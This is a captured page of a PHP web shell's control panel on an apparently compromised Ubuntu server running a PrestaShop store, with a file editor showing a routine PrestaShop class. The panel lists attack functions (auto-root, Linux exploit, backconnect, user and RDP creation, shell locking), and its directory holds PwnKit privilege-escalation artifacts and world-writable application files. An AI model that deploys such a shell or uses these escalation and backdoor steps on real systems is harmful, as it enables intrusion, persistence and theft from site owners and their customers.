Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
tienda /
src /
Adapter /
Admin /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
AbstractAdminQueryBuilder.php
7.97
KB
-rwxrwxrwx
LegacyBlockHelperSubscriber.ph...
2.3
KB
-rwxrwxrwx
NotificationsConfiguration.php
2.78
KB
-rwxrwxrwx
PagePreference.php
3.98
KB
-rwxrwxrwx
UrlGenerator.php
4.64
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : PagePreference.php
<?php /** * 2007-2019 PrestaShop and Contributors * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://www.prestashop.com for more information. * * @author PrestaShop SA <contact@prestashop.com> * @copyright 2007-2019 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) * International Registered Trademark & Property of PrestaShop SA */ namespace PrestaShop\PrestaShop\Adapter\Admin; use AppKernel; use Db; use PrestaShopBundle\Service\TransitionalBehavior\AdminPagePreferenceInterface; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\HttpFoundation\Session\Storage\PhpBridgeSessionStorage; /** * Adapter to know which page's version to display. * * This implementation gives methods to use to take decision: * - if we should display the new refactored page, or the old legacy one. * - if we should display the switch on the admin layout to change this setting. * * Data is stored in the cookie, as legacy does. */ class PagePreference implements AdminPagePreferenceInterface { /** * @var SessionInterface */ private $session; public function __construct(SessionInterface $session) { if ($session->isStarted()) { $this->session = $session; } else { $sessionClass = get_class($session); $this->session = new $sessionClass(new PhpBridgeSessionStorage()); } } /** * {@inheritdoc} */ public function getTemporaryShouldUseLegacyPage($page) { if (!$page) { throw new \InvalidParameterException('$page parameter missing'); } return $this->session->has('should_use_legacy_page_for_' . $page) && $this->session->get('should_use_legacy_page_for_' . $page, 0) == 1; } /** * {@inheritdoc} */ public function setTemporaryShouldUseLegacyPage($page, $useLegacy) { if (!$page) { throw new \InvalidParameterException('$page parameter missing'); } if ((bool) $useLegacy) { $this->session->set('should_use_legacy_page_for_' . $page, 1); } else { $this->session->remove('should_use_legacy_page_for_' . $page); } } /** * {@inheritdoc} */ public function getTemporaryShouldAllowUseLegacyPage($page = null) { // Dev mode: always shown if (_PS_MODE_DEV_) { return true; } $version = Db::getInstance()->getValue('SELECT `value` FROM `' . _DB_PREFIX_ . 'configuration` WHERE `name` = "PS_INSTALL_VERSION"'); if (!$version) { return false; } $installVersion = explode('.', $version); $currentVersion = explode('.', AppKernel::VERSION); // Prod mode, depends on the page switch ($page) { case 'product': // never show it for Product page in production mode. return false; default: // show only for 1.7.x if ($currentVersion[0] != '1' || $currentVersion[1] != '7') { return false; } // show only if upgrade from older version than current one if ($installVersion[0] >= $currentVersion[0] || $installVersion[1] >= $currentVersion[1]) { return false; } } return true; } }
Close